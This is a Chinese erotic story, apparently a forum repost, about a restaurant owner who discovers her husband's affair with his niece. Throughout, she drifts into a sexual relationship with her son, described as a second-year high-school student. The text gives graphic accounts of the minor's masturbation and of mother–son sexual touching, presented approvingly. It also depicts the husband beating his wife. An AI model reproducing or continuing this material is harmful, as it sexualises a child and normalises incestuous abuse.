【美娟的报复1】【作者:不详】【完】

来源:人气:737更新:2024-06-03 13:56:10

本帖最后由 hanwuhan 于 2018-1-18 22:16 编辑

  (1)

  美娟在某知名大医院对面开了一间自助餐,由于“菜色多、服务好”、“乾净、卫生”,所以生意兴隆,每月净入十数万应没问题。最令她心里不平衡的是打扫时丈夫跟寄宿在此哥哥的女儿小丽都不愿意帮忙,读高二的儿子阿龙则因为课业繁重,每晚都补习到八、九点才回来,美娟不忍再要他帮忙,因此每晚都得耗费至少两小时的繁琐打扫刷洗工作,全落在美娟身上,使美娟常常累的腰酸背痛,内心怨叹不已。

  有一天美娟清扫完后回到楼上,因为腰酸背痛,坐在沙发上有一下没一下的自己捶腰,刚好儿子阿龙回来看到,迅速走到沙发旁,挨着美娟坐下说:「妈,累了吧?来,我帮你按摩。」「好啊!阿龙!可是你会吗?」

  「哎呀!妈!这种捏捏揉揉的动作是难不倒我的,不信你试试看!」美娟看到儿子如此兴致勃勃,也就不忍扫兴的答应儿子,趴在沙发上让儿子帮她按摩。没想到阿龙的手还真灵巧,揉捏一会儿后,美娟马上感觉浑身舒畅无比,刚刚的劳累酸痛一下子都完全跑到九霄云外,如果不是顾及阿龙的课业,美娟真希望让阿龙不停的帮她按摩、按摩,直到舒服的睡去!

  「好了阿龙!谢谢你,妈妈舒服多了,你回去准备功课吧!」美娟说完坐起来,同时不由自主的在儿子的脸颊上吻一下。

  「妈!……」

  美娟发现儿子满脸通红的嚅嗫着叫一声,然后不好意思的走回房内。美娟也奇怪自己怎麽会突然做出亲吻儿子的动作,不过仍然微笑小声的说:「小鬼!还会不好意思呀……」摇摇头,站起来缓缓走向浴室清洗一身的疲累!

  话说小龙,由于那晚帮妈妈按摩受到夸赞,竟然兴趣大发,跑到书店买几本关于按摩和穴道的书籍来研习,这期间更以妈妈当实习对象,一步步摸索,竟也大有心得,使美娟疲累时第一个想到的就是儿子!而且每次儿子帮自己按摩后,美娟一定不忘给予一个亲蜜的吻。

  这一天,小龙因为临时补课的关系较晚回家,美娟由于等不到儿子,先进浴室清洗,快清洗完毕时小龙回来了。美娟不管三七二十一,穿上底裤围上浴巾,马上冲出浴室,喊道:「阿龙!快来帮妈妈按摩舒缓舒缓筋骨,今天累死了!」说完不由分说的趴在沙发上,等待小龙的服务。

  小龙正值青春期血气方刚,何曾看过这种阵仗,虽然是自己的母亲,但是毕竟是女性,而且只着浴巾,露出半个胸部及整条玉腿,这种情景刺激的阿龙下体马上翘起呆立那儿。

  「阿龙!你在干嘛?快来帮妈妈按摩按摩啊!」听到妈妈的叫声,小龙才好似由三十三天外回过神来,立即坐到妈妈的腰际部位帮妈妈按摩。但是整个过程却都目不转睛、贪婪的望着妈妈裸露在外的白嫩玉腿。

  从此,妈妈总是清洗完自己,裹着浴巾等阿龙回家帮她按摩,阿龙则每次都幻想能将妈妈的浴巾掀开,尽情饱览内里春光。

  这个情思,让阿龙一再的带着妈妈的吻痕,跑回房里手淫消火。

  有人说等久就会有,确实不错。有一次,按摩完后,妈妈照例坐起来想给阿龙一个脸颊吻,没想到因为浴巾没系好,一坐起竟缓慢的滑落,说巧不巧,阿龙的手无意识的伸到胸前,正好握住美娟的肥奶。

  「嗯……」这一握,刺激得身心松缓的美娟不禁呻吟出声,阿龙也凭着感觉伏在美娟耳边轻声说:「妈!你的奶子好丰满好柔软喔!」美娟直起身子,轻轻捶了一下儿子的肩膀,笑着说:「小鬼!连妈妈的老豆腐你都吃,真不像话!」然后拉起浴巾重新裹上身子。

  阿龙趁机低头望向妈妈的胸部,这一瞥虽然是电光石火,却也足够让阿龙震撼的瞠目结舌,竖起大姆指跟美娟说:「哇!妈!你的胸部真雄伟,奶头也这麽大,像颗紫葡萄!」美娟狠狠地白了儿子一眼,同时轻轻的戳一下阿龙的额头说:「小鬼,胡说什麽?……」咬咬牙又瞪儿子一眼才悠悠的继续道:「妈妈的奶头会变这样,还不是你害的!」阿龙满脸狐疑的问妈妈:「这话从何讲起?我怎麽会害妈妈?为什麽我都不知道?」美娟整理好身上的浴巾,重新坐回沙发上,拉着儿子的手说:「听医生说吃母奶的婴儿较健康较有抵抗力,所以你出生后妈妈用母奶哺育你,谁知道婴儿一吸吮后,奶头竟变成这麽大颗。更过分的是,当你十月大长出牙齿后,每次吸完奶就用牙齿咬奶头,咬得我痛澈心扉,奶头裂开伤痕累累,最后只好想法子给你断奶,如果我记得没错,你应该是吃了一年一个月的母奶!」听完妈妈的诉说,阿龙万分感动的对妈妈说:「妈!很谢谢你那麽照顾我,也非常抱歉让你受这麽多苦。」美娟微笑着回答儿子:「谢什麽谢?」

  「天下的妈妈那一个不是这样无怨无悔的付出?」「对了妈!」阿龙充满好奇的神情问道:「可不可以让我看看你的奶头?我想看看当年咬伤留下的疤痕,回想回想母爱的伟大!」「不可以!」美娟斩钉截铁的拒绝。

  「哎呀!妈!不要这样嘛!」阿龙满眼恳求的望着妈妈:「不知道可就没话讲,既然知道了,请您让我完全的了解吧!」「不行就是不行!都可以娶亲了还想看妈妈的奶,你羞不羞?」「有什麽羞?难道想了解当年的事,知道母亲的辛劳都不可以吗?」「不可以!」美娟摇摇头。

  「别那样嘛!妈!」

  「不行!」美娟一直摇头。

  「成全成全我嘛,妈!」

  「你怎麽那麽烦呀?」

  「好嘛,妈!」阿龙摇着美娟的手继续恳求着:「好嘛!好嘛!好嘛……」「你……」

  经过阿龙一番无理的缠求,美娟无奈的长叹一声,摇摇头,然后又默默的点点头。阿龙一见妈妈默许,兴奋的搂住妈妈,在她的两颊交相吻着连声说:「谢谢!谢谢!谢谢妈!」

       (2)

  美娟慢慢解下浴巾,把它移到腰际掩住下体,阿龙则迫不及待伸出双手摸到妈妈的奶头,美娟说:「轻一点别太用力,否则会痛!」「我会的。」阿龙颤声的回答妈妈,同时移动颤抖的双手把乳头往下扳,将脸凑近看仔细,再往上扳瞧一瞧,然后往左扳、往右扳,仔仔细细、清清楚楚地上下左右看了个够!

  话说每一个女人的身体都有一处最敏感的地方,有的在耳垂、有的在胸部、有的在阴阜、有的在屁股,鄙者还遇到过一个敏感带在后阴的女子呢。每个女人的敏感部位都不尽相同,只要找出敏感部位加以爱抚,马上能激起她的慾念,短时间就能进入状况,让作爱双方都激情万分,充分享受性爱。

  回过头来谈美娟,可怜她的敏感部位就在乳房,整个乳房尤其是乳头周围,布满了敏感线,以前阿龙的爸爸向她求欢而她不愿意时,总是死皮赖脸的纠缠,然后伺机伸入衣服里摸奶,只要让他抚摸到胸部,美娟马上转而激情昂扬,慾念横生,充分配合先生的动作,到头来是总惹来丈夫的淫笑。

  如此敏感的部位,哪堪让儿子如此的左搓右揉?美娟早已忘情地斜仰在沙发上,左手置于扶手、右手扶着靠背,闭着星眸,腮帮子泛着桃红,性感的嘴唇微微张着,鼻孔的双翼一瞈一合的动着,嘴里轻声娇呼:「嗯……嗯……喔……嗯……喔……!」美娟的娇媚浪态及婉转淫声,一阵一阵刺激着阿龙。看到妈妈肥嫩的乳房早就让阿龙的老二激昂的硬挺,一挺一挺的把裤子顶成帐篷样子,那堪再受妈妈魔音穿脑似的淫浪声?情不自禁地伏下嘴轻轻地吸吮。这一吸犹如火上加油,让美娟紧更是「嗯……嗯……呀!嗯……喔……呀!」的娇喘不已,而且情不自禁的轻轻扭动身躯。

  听瞧这种生平第一次经历、令人无法自拔的春色淫声,阿龙的脑波受刺激的双手握玩妈妈的乳房,嘴巴更是马不停蹄的吸完这颗换那颗,毫不客气的吸舔妈妈的乳头。

  玩弄一会儿后,阿龙偶而瞥见妈妈的诱人娇喘脸蛋,心里再次一震,刺激的他晕头转向,忍不住把嘴往上移,深深的印向妈妈微张的性感樱唇!

  「嗯……唔……唔……嗯……唔……嗯……!」美娟含糊的娇喘回应,也不知是兴奋还是害羞,不过很明显的是美娟并没有拒绝儿子热吻的动作意思。阿龙则得寸进尺的更加大胆,左手继续揉玩妈妈的肥奶,右手往下伸轻轻抚摸大腿,并准备往腿根游移。

  「年轻真好」,不知道是谁如此说的,但是却没有点明其另一方面则是经验缺乏,阿龙正是如此,生平第一次跟异性如此亲近的互动,而且对象是自己的妈妈,又加上从起始到现在一切都那麽平顺,眼看就快能达成与异性做爱的幻想,何况对象又是自己美丽迷人的妈妈,刺激、兴奋让阿龙莫名其妙的全身颤抖,胸腔里好似积压着不宣泄出声难以舒畅的压力,忍不住将嘴移到妈妈的耳边,轻声的说:「妈!你好漂亮,我爱你!……」美娟在儿子的死缠烂缠下解开浴巾,露出乳房,打从阿龙的手触摸到乳头开始,身体的慾念慢慢释出,一步步往上堆高,整个人陷入天人交战中,身体的淫慾不断刺激脑部,好希望完全放松,好好享受高潮的满足。内心则不断呐喊着:「不可以,他是自己的儿子,快制止他,绝不能这样做!快制止他!」可是儿子的刺激一波波的涌来,搓揉乳头后接着吸吮、爱抚乳房,把美娟体内的淫慾刺激的欲罢不能,理智则被压缩的慢慢慢慢消退,跟着接吻同时一面玩乳房一面摸大腿,刺激的美娟全身充满慾火,整个人好似被轻飘飘的浮上云端,灵魂则反方向的陷向黑暗的深渊。当此时刻,不要说道德、理智、人伦,只要能满足浑身慾念,纵使万丈深渊也会毫不犹豫的往下跳。

  正当美娟沉浸在万丈慾海,抛弃所有的顾虑,让自己飘浮在云端,准备好好享用一顿慾火高潮带来的冲击。阿龙的这句“妈!”却像千斤一鎚似的重重击向美娟,把美娟由云端狠狠的抛落到地面,也将灵魂由万丈黑渊抓回,一转瞬,理智就重回脑海,把慾望压制得无影无踪。

  美娟倏地坐起,下意识的并拢双腿,同时一手抓住阿龙的手,一手将阿龙的身子推离,说:「阿龙!不可以,不可以这样,我们是母子,绝对不可以做这种事。」说着迅速的把浴巾拉上来掩住乳房。阿龙则仍旧满脸充满慾火,贪婪的望着妈妈,叫道:「妈!来嘛!妈!我爱你!」并且把身体倚向妈妈。

  美娟则理智的将儿子的身体再次推离说:「乖儿子,听妈说,妈妈也非常爱你,可是我们是母子,这种事不可以做,来!起来!到浴室去冲冲冷水澡,爸爸和小丽快回来了,我也要回房换好衣物以免尴尬。」说完话,美娟站起来往房间走去,留下阿龙呆若木鸡的坐在沙发上。好一会儿才慢慢起身,无精打彩的步入浴室。阿龙淋完澡回到卧室没多久,就听到爸爸回家的声响,再过约莫半小时小丽也回来了。

  当晚美娟躺在床上,睁着眼睛辗转难眠,回想刚刚母子的荒唐动作,让她真的手足无措,望着躺在身边鼾声大作的丈夫,美娟内心里忽然升起丝丝恨意。阿龙也是躺在床上难以成眠,母子的亲蜜游戏一幕幕浮现眼前,刺激的老二胀硬难受,只好一面回想,一面搓揉着老二打手枪,到快泄身前更忍竣不住的轻叫着:「妈!喔……妈!我爱你!喔……妈!喔……喔……」跟着一股浓浓的火热白色精液由马眼里奋力喷洒出来,一阵一阵接一阵,阿龙全身刺激的不断颤抖,过了有好一会儿,硬挺的阳具才慢慢的垂软下来。阿龙长长的轻吁一口气,让全身放松。

  虽然如此,但是今晚的母子互动实在太刺激了,所以那一幕依然从头到尾毫无遗漏的重现在阿龙的脑海里,让他辗转难眠,大约只三十分钟左右,阿龙的老二就又激昂的竖立着,阿龙当然无法忍耐的再度将它搓揉到喷出浓浓精液,才有办法使身子松弛下来。如此反覆的刺激、搓揉,到第三次喷出精液后,才在身心俱疲累中不知不觉的昏睡过去。

  (3)

  第二天开始,除了重要主科的补习外,阿龙都尽量赶回家,帮忙美娟清扫店面和餐具,母子俩常常边清理边聊天,聊得两人开怀嘻笑,卿卿我我,好像一对恋人似的。

  其要好的程度连爸爸都感觉到了,有一次爸爸实在忍不住了吃味的说:「你们母子到底有完没完?像对恋人似的,像话吗?要是让不知情的人看到,作何观感?」美娟白了丈夫一个大白眼,啐了一口道:「神经!跟儿子谈天说笑,也被你讲成这样不堪?你到底吃的是哪门子飞醋?你呦!你真是个「神经老爸」,成什麽体统?嘻……嘻……」对于自己给了丈夫一顿抢白数落,美娟也觉得好笑的嘻笑出声。先生也自觉失态的:「嘿……嘿……嘿……嘿……」乾笑几声,无趣的转身离开。

  阿龙则自始即紧绷着脸,嘟着嘴不发一语的站在一旁。美娟转过头来,看见儿子的情形,走过去搂着阿龙说:「怎麽啦?爸爸这样说你不高兴啦?好啦!好啦!笑一个!爸爸又没有恶意,何况爸爸总是爸爸,不可以说你两句就不高兴,要是这样那就不是乖孩子,那妈也不喜欢你,不想理你,知道吗?」听完妈妈的训斥,阿龙点点头,美娟接着说:「来!笑一个!」为了不想扫妈妈的兴,阿龙勉强挤出笑容。

  「对嘛!你看,笑起来多英俊,多迷人!况且一笑解千愁呢!」就这样母子又恢复嘻笑的愉快神情,继续未完的工作。

  清理完餐厅跟餐具后母子携手回楼上,美娟梳洗完都照例围着浴巾趴在沙发上让阿龙帮她按摩疏松筋骨,按摩完,只要家人不在,阿龙总会搂住妈妈亲吻,美娟倒是毫不抗拒的接受,但是当阿龙伸出舌头想进入妈妈的嘴里时,美娟就紧咬住牙齿,摇摇头不答应。

  有几次,阿龙想拉开浴巾玩玩乳房,也被美娟紧紧抓住浴巾拒绝,不过如果阿龙隔着浴巾捏玩几下乳房,美娟却没有拒绝,抚媚的笑一笑,默许儿子。

  虽说白天母子是如此的畅快洽意,但是老天给予的折磨却是在夜晚。先说美娟,俗话说“三十如狼,四十似虎”,过去美娟因为工作太疲累,慾念的需求根本一点都没有,现在有儿子分担工作,又得到消除疲劳的按摩,加以儿子三不五时的亲吻、捏玩奶子,在在都让美娟沉寂的肉慾逐渐苏醒,每次被阿龙亲吻、捏玩乳房时,下体都情不自禁的流出不少淫水,把三角裤湿了一大块,只因理智的关系才没有失控,否则早就……不过回到房里,那就苦了。美娟总是想不透,丈夫为什麽也会那麽疲累?都是倒头就睡,对她不理不睬的,让她孤枕难眠?有几次实在是让慾火煎熬得想冲到儿子的房里,抛开世俗道德的拘绊,脱光衣服尽情的跟儿子享受慾火,彼此品嚐激情带来的高潮。可是从小的教养又让她无法如此开放,此时她总对身旁的丈夫升起恨意,然后不得已的把手伸入内裤里,靠着搓揉阴部手淫来达到高潮,松弛自己!

  再说阿龙,从妈妈围着浴巾让他按摩开始,每晚都在想像着妈妈肉体的手淫中睡去。其中又以摸玩到妈妈的乳房那天达到最高峰,手淫三次才睡着。也从那天开始,阿龙除了每晚想着妈妈手淫外,就是绞尽脑汁,计划如何才能再次摸玩妈妈的乳房,甚且设想如何才能插到妈妈的迷人骚穴?

  无法宣泄的慾念,犹如火药般一天天的累积下来,终有爆发的一天。大约过了一个月,那晚阿龙帮妈妈按摩时,再也忍耐不住,按摩到妈妈的大腿然后滑向小腿,再按摩上大腿,阿龙轻轻的将妈妈臀部的浴巾往上掀。美娟穿着一件不知什麽质料的蓝色柔软小三角裤,浑圆的臀部有一半露在外面,阿龙忍不住在臀部上尽情的揉摸,美娟则舒适的微微张开双腿,这个动作正中了阿龙的意,阿龙兴奋的全身颤抖,他也无法了解为什麽每次跟妈妈到紧要关头,总会兴奋得全身颤抖?

  阿龙慢慢轻轻的爱抚妈妈的大腿,然后摸向妈妈浑圆多肉的臀部,接着往下抚摸,到达膝部时,再慢慢地滑向大腿内侧,往上到腿根,然后毫不客气的摸向妈妈的阴阜。

  美娟在儿子的按摩下,虽然全身放松的享受儿子带来的舒畅,可是当阿龙摸了两下阴阜时,美娟却紧张的知觉到,倏地翻转身抓开阿龙的手说:「不可以,阿龙!不可以动妈妈那里!」谁知这一翻身,也许是动作太快,也许是用力太猛,身上的浴巾随着她的动作拉了开来,两颗肥嫩诱人的乳房毫无遮掩的浮现在阿龙眼前,阿龙见到睽违已久日夜思盼的乳房,不禁快速的伸手握住,这一摸让美娟迅速快感袭满全身,舒服的闭上眼睛呻吟出声:「嗯……哼……喔……嗯……哼……喔……喔。…」阿龙用姆指和食指轻轻地搓转妈妈的乳头,美娟则兴奋的斜躺在沙发上,星眸微闭,嘴里嗯哼娇喘。欣赏着妈妈裸露的玉体、肥嫩迷人的乳房,已经让阿龙激动的心脏乒乓乱跳、血脉贲张、两眼发直,早已硬挺的小二哥,更暴胀得有点发痛,抬起头看到妈妈充满慾情的脸庞,阿龙再也无法忍受,伏下去吸舔妈妈的乳头。

  有了上次的教训,此时的阿龙虽然全身被淫慾涨得满满的,好像要被撕裂一般,却强自忍耐不敢发出声音,深怕像上一回一样惊醒妈妈,打断美好的春梦,所以默默的埋头玩舔妈妈的乳房。美娟则在儿子的揉舔下,像一只叫春的母兽似的呻吟不止:「嗯……喔……嗯……嗯……喔……啊……啊……喔……喔……喔……嗯……嗯……」玩够了乳房,舔腻了乳头,阿龙抬眼望见妈妈双颊微染酡红,像极微醺的美人,性感的双唇稍稍张开,万分诱人,立刻往上移动头部,将嘴往妈妈的玉唇印去,右手则马上握住嘴唇离去的乳房揉摸,美娟只是「嗯」的一声并未抗拒。

  最令阿龙私心刺激震颤的是,当阿龙尝试着把舌头伸向妈妈的嘴里时,妈妈不但没有抗拒,并且自动吸吮阿龙的舌头,没多久更伸出舌头和阿龙缠搅,让阿龙吸吮她的舌头。

  热吻完后,阿龙把嘴移回吸舔乳房,右手则抚摸平滑的腹部,接着滑走到大腿,然后慢慢走到根部。美娟则越来越兴奋,刺激得她身躯扭动,双脚张开,嘴里不断的乱哼:「嗯……嗯……啊……呀……啊……啊……嗯……嗯……」阿龙将手移回腹部抚摸,然后滑到小腹,隔着柔软的布料,阿龙仍然感受到阵阵的温暖传到手中,阿龙再也不管三七二十一的摸向妈妈的阴阜,美娟则扭送屁股配合,嘴里不断出声:「嗯……喔……啊……」揉玩了几下阴户后阿龙改变策略,用两只手指在妈妈已经湿了一大片的裤子上滑摸肉缝,这一个动作,让美娟加大加速扭动身躯配合手指的动作,嘴里发出更撩人的叫春声:「嗯……嗯……啊……啊……嗯……嗯……呀……」经过没几次的摸揉,阿龙就知道,只要滑摸妈妈中间两片肥厚的肉肉,大概就是所谓的大阴唇,妈妈的屁股扭得特别厉害,叫春声也特别响亮诱人。有了这个体会,阿龙把手指尽情的在这个地方上下滑动玩弄。刺激得美娟不断扭动屁股迎合,更且伸手将阿龙的指头压住,深怕它会忽然间消失似的。

  也不知玩了多久,直到阿龙觉得光是这样玩摸,实在意犹未尽,心中暗想如果能伸到三角裤里面,真正感受到妈妈阴部的肉感、温度、形状,那才更刺激。

  一想到此,阿龙立刻心随意转的把手移到三角裤的裤脚,用四只手指顶起三角裤,刚想把手指直接压到妈妈的屄上时,忽然「哗……喇……喇……」传来铁门被拉开的声音。

  美娟霍的坐起来,推开儿子,迅速的裹上浴巾对儿子说:「快回房里!爸爸回来了,等一下被看到就不妙!」说完快步走回卧室。

  阿龙呆立三秒钟,立刻发现事情的严重性,马上转身回卧房。接着听到「哗……喇……喇……阔……」铁门被锁上的声音,两分钟后,又听到「喀登……喀登……」高跟鞋上楼梯的声响,原来是小丽回来了!

  阿龙心中又燃起希望,盘算着等小丽进房间后溜到妈妈房里,再跟妈妈亲热一番。一会儿传来:「卡……卡……」的开门声,阿龙走到门边,只等小丽一关门就要潜向妈妈的房间,可是等了很久却没听到关门声。正在迟疑时,才听到:「碰!」一声,阿龙面露微笑心情兴奋的伸手准备开门,忽然「啪哒!啪哒!」拖鞋声走入客厅。

  难道……阿龙轻轻转开门把往外窥伺,只见小丽走向客厅的沙发,拿起摇控器打开电视,坐下来欣赏。阿龙轻轻合上门,倚在门背上心中咒骂不停。

  接着又听到开门声,客厅传来:「姑姑!这麽晚了还没睡呀?」「还没!」

  「是不是姑丈不在睡不着?」

  「小鬼,胡绉些什麽!讨打是不是?」

  「嘻!嘻!嘻!开个玩笑嘛……对了,小龙还没回来吗?」「在房里温习功课。」

  「喔!……」

  两个女人谈到此就被节目吸引,专注的观赏。阿龙则失望的慢慢步向书桌,坐下来拿起书本,百无聊赖的随意掀翻,满脑子的慾情刺激的他完全无法静下心思来看书。

  也不知过了多久,又再听到「哗……啦……啦……」的开门声,随即是关门声:「啦……啦……阔!」阿龙颓然的趴向书桌,心中失望的想:今晚又泡汤了,只能五虎抓龙啦!阿龙失意的眼神扫向书架,看到闹钟正指着十一点,忽然一道闪光闪过他的脑海:「奇怪?怎麽每次爸爸和小丽外出,不管谁先回来,都相差半小时?怎麽这麽奇怪?……」

       (4)

  某一个午后,美娟清扫一半,突然感到头痛欲裂,身体难过得要命,只得放下工作缓缓的踱回楼上休息,上了楼梯走到门口,却听到里头「嗯嗯呀呀」的女子呻吟声,伴杂着丈夫的重重喘息声。这、这是……?

  美娟带着满腹的狐疑,蹑手蹑脚的走近门沿往里一探,这一看,整个人立刻像被电到似的呆住了,门厅里丈夫坐在大型沙发上,裤子褪到膝盖下面,闭着眼睛仰靠在椅背,一脸陶然的神情;小丽则左手勾住椅背,右手指拄着扶手坐在丈夫的腿上,上衣敞开着,胸罩挤高到快碰着脖子,露出两颗粉嫩雪白的奶子,丈夫的巨掌正扣在上边恣意的轻薄揉抚;裙子掀至腰际,小裤裤褪了下来吊挂在左脚脚踝上,露出了紧小浑圆的雪白屁股,正一上一下一上一下的动着,同时嘴里娇哼浪吟着:「嗯……姑爹……嗯……舒……服吗……嗯……你真强……嗯……我好爱你喔……」

  见到这等景像,美娟岂会不知道里面正在做什麽?依这种情形判断,今天应该不是第一次发生,只不知这对狗男女是什麽时候勾搭上的?看到这种景像已够让美娟生气了,再想到此,更是怒火中烧,是以一听到小丽的淫声浪语,整个人再也控制不住,往里直冲同时暴喝一声:「你……你们在干什麽?」这一声呼喊,把正沉醉在性爱天堂的两人活生生的打回人间,同时转头循声望去,却看见美娟满面怒气往自己冲来,这一看两个人都呆住了,动也不动的僵在那儿。

  美娟冲到两人面前,以女人的本能,抡起双拳歇斯底里的往小丽的害人双乳捶打,嘴里则叫着:「小丽!你这贱人!你做的好事!我打死你!打死你!打死你!……」小丽也不知是不是因为没遇过这种阵仗,一时吓呆了,又或者是自知理亏,觉得太对不起姑姑,竟然动也不动的默默承受美娟的捶打。好一会儿,美娟停下手怒目转向丈夫,小丽才站起来,不过美娟一见小丽站起来,立刻转脸甩她一个耳光,小丽这才像被按动开关的人偶似的「哇」哭出声,转身往房间奔去,走了两步又停下来,弯身探手抓起吊在脚踝的内裤,快速走回房内。

  美娟转脸指着丈夫大声怒骂:「老不修!不要脸的东西!这种事情你也做得出来!小丽是你的侄女耶,想老牛吃嫩草也应该到外面去找,你竟然动到她身上来,也不怕有报应?……」面对妻子连珠炮似的一阵诟骂,丈夫好像自知理亏,只是缓缓站起来,默默的穿上裤子,吭也不吭一声。

  看到丈夫对自己的怒骂一点反应都没有,好像在做无言的抗议,美娟更是怒火中烧,忍不住一头撞向丈夫,同时大叫:「我跟你拼了!……」这一撞把丈夫撞回沙发,自己也重心不稳跌在他怀中,美娟也就顺势抡起拳头对着丈夫的胸膛猛打,并且嘴里不停的大声詈骂。也许是被打痛了,也或许是恼羞成怒,丈夫用力把美娟推离自己,霍地站起来反骂回去:「疯婆子!你有完没完?再说,再说小心我揍你!」这一推,使美娟重重的一摔跌坐在地上,这对美娟来说更是火上浇油,整个人像条疯狗似的迅速爬起来,冲向丈夫一阵乱打,嘴里同时不停的诟骂,这还无法抑制怒气,趴下脸用嘴在丈夫身上咬,丈夫也不再静默动手回打。

  就在夫妻忙于扭打的混乱中,小丽默默的打开房门往楼下走出去。

  两夫妻扭打不知过多久,女人到底力弱敌不过男人,美娟渐渐的落下风,打人的时候少、挨打的较多,最后,丈夫抓住美娟的双手,重重的给了两个耳光,把美娟用力往后推,一转身头也不回的向楼下扬长而去……晚上阿龙补习完回家,打开铁门时感觉不大对:「奇怪,怎麽没开灯?」摸索着走到墙边切开灯光,眼前的情景更让心里嘀咕:脏的锅碗瓢盆堆在那儿,地板拖了一半,拖把倒在地上,水桶放在拖把旁边,里面还有半桶脏水。

  阿龙感觉家里好像出事了,心里不禁有点紧张,颤声的喊着:

  「妈!」

  「妈!」

  静悄悄的没有人回应,阿龙心里很害怕,用力的拉下铁门,边快速的奔向楼上边喊道:

  「妈!」

  「妈!」

  「妈!」

  奔上楼梯,依然没人回应,只见客厅漆黑一片没有一丝灯光,阿龙心想:难道是没人在?

  这时,只听客厅里传来轻声的啜泣,阿龙一听立刻察觉是妈妈,摸索着进入客厅,打开灯光,客厅的景像却让阿龙吓一大跳。

  妈妈蓬头垢面的坐在地上哭泣,矮桌倒在长沙发前,两个单人沙发则翻倒在地上,整个房间乱七八糟。阿龙立刻奔向前去扶起妈妈,同时紧张的问:「妈!

  你怎麽变这样?发生了什麽事?是谁把你打成这样?」阿龙轻柔的扶着妈妈在长沙发上坐下来,被丈夫殴打后美娟就坐在地上伤心悲痛的哭号,直哭到疲累眼泪才止住,然后就脑中一片空白的呆坐在那儿,直到听到阿龙的呼叫声,才回过魂似的低声啜泣,现在再听阿龙这一问,不禁悲从中来,抱住儿子伏到阿龙的肩膀边哭边诉:「爸爸打我,阿龙,爸爸打我!唔……唔……唔……」

  「什麽!爸爸怎麽这麽狠心?把你打成这样?我看看。」说着扶起趴在肩上的妈妈,帮她理了理掩面的头发,只见本来面貌姣好的妈妈现在则整个脸东青一块、西紫一处,而且到处是沾污的泪痕,让阿龙看了好不心疼,不禁伸手搂住妈妈,谁知这一搂,却只听美娟大叫:「哎呀!好痛!」阿龙被这一喊吓了一跳立刻松手,紧张的问:「妈!妈!怎麽了?」「你弄到妈妈的伤口了!」

  「什麽?身上也有伤?爸爸是怎麽打的?」

  听到儿子的询问,美娟又嘤嘤的哭泣。阿龙说:「来!我看看。」说着伸手去掀美娟背部的衣服下摆,可是因为衣服的宽度适中,掀不上来,美娟主动的解开钮扣,钮扣一蹦开,乖乖!一双美乳立即让阿龙眼睛为之一亮。

  美娟今天穿的是半罩式的胸罩,大半个粉乳都露出在外煞是诱人,阿龙不禁心神一荡,一阵肉紧。可是因为担心着妈妈的伤势,这种慾念就只有一闪即逝,马上弯身察看。妈妈的背部有几处伤痕手臂上也有,阿龙忍不住埋怨说:「到底发生什麽事?爸爸为什麽那麽残忍?又不是冤家路窄,怎麽会这样?」美娟主动的坐直身子,说:「前面也有。」阿龙挺身一望,立刻又是全身发热,妈妈美丽的半裸粉乳又呈现眼前,那麽漂亮、那麽诱人,引诱的阿龙真想马上解开它的束缚,好好的抚摸抚摸。可是,眼前还是妈妈的伤要紧,只好勉强收起荡漾的心,做了两三个深呼吸说:「妈,你坐好,我去拿药帮你擦擦。」阿龙到楼下把急救箱拿上来帮妈妈擦伤口,美娟为了方便儿子为自己裹伤,主动把上衣脱掉,这一来让阿龙一边上药一边心脏「砰砰砰砰」的猛跳,全身燥热难受,眼神直兀兀的死盯在妈妈的胸部很难移开,以至不是擦到旁边去,就是太用力弄痛美娟,弄得美娟哇哇叫。

  美娟一边让阿龙为自己裹伤,一边把下午发生的事娓娓的告诉阿龙,然后哭着说:「阿龙,妈妈该怎麽办?」阿龙放下药物挨着妈妈坐下来,忿忿不平的说:「爸爸真是的,怎麽可以这样做呢?还有小丽也是一样,她怎麽可以这样对我们?」跟着伸手搂住妈妈的腰部,妈妈的肌肤碰触起来好滑好柔喔,阿龙的心神又是一荡。

  美娟顺势温柔的把头枕在阿龙的肩上,躺到儿子怀中,幽幽的说:「阿龙,爸爸已经不要我们了,妈以后就全靠你了,你可要好好争气喔。」「我会的,妈妈,我会的,从今天开始我一定会好好的照顾你,保护你,绝不让任何人欺负你,你放心好的,我一定会的,妈!我爱你!」阿龙斩钉截铁的回答妈妈,美娟听到儿子的话语,心里甜甜的好安慰,柔声的说:「儿子,妈也爱你。」跟着抬头在阿龙的腮帮子上亲了一下,破涕轻笑两声,阿龙立刻脸颊一阵燥热,呼吸又更急燥些。

  母子俩就这样依偎着轻声互诉言语,也不知过了多久,阿龙终于忍受不了搂着温馨满怀,瞧着诱人美躯、闻着迷人肉香、听着呢喃燕语的诱惑,呼吸沉重的很,搂着妈妈的手开始轻轻的在手臂上滑动,妈妈依旧静静的偎在阿龙怀里,没有动也没有拒绝……

       (5)

  母子俩就这样依偎着轻声互诉言语,也不知过了多久,阿龙终于忍受不了搂着温馨满怀,瞧着诱人美躯、闻着迷人肉香、听着呢喃燕语的诱惑,呼吸沉重得很,搂着妈妈的手开始轻轻的在手臂上滑动,美娟则静静的偎在阿龙怀里,没有动也没有拒绝。

  阿龙见妈妈并没有出声制止自己的爱抚,知道妈妈已经默许,于是更大胆的右手移到背部抚摸,左手则毫不客气的直接伸入乳房玩抚,玩着摸着,玩的美娟慾念飞扬娇喘嘘嘘,阿龙也慾火焚身,一只老二胀硬难受,把裤子顶得半天高。

  好半晌,又总觉得隔了层障碍感到不过瘾,嚐试着想脱掉妈妈的奶罩,可是右手在背后摸索了半天,就是不得要领无法解开,美娟此时也已经骚痒难耐,见儿子动作青涩,知道他没有经验,自动伸手到胸前,只听「喀」的一声胸罩应声张开,阿龙这才知道原来胸罩也有开前面的,只怪自己见识太少。

  除去妈妈的奶罩后,阿龙就在上面尽情的轻薄,一下子捏捏奶子摸揉肉球,一下子搓搓奶头。

  以前美娟总是矜持着母子的关系,一方面不让阿龙太过份,另一方面自己也放不开,所以让阿龙的几次攻击总是不顺畅并且功败垂成,不过经过下午的事件后,美娟暗下决心要给老公一些教训报复报复他,所以当儿子给予爱抚时不但不再抗拒而且迎合他,这一来儿子爱抚乳房的刺激让她浪的淫水直流,嘴里淫声娇哼连连:

  「嗯……哼……嗯……哼……阿……阿龙……啊……嗯……嗯……哼……」有过前几回的教训,阿龙怕再次失手,所以不愿出声回应,只是默默的爱抚着,然后低头抬起妈妈的下巴吻上去,美娟也热烈的回吻,并且主动伸出舌头翘开儿子的牙关,直伸进他的嘴里逗弄阿龙的舌头,两三次后,阿龙也通窍的伸动舌头回应,母子俩开始一阵热烈的法式湿吻。

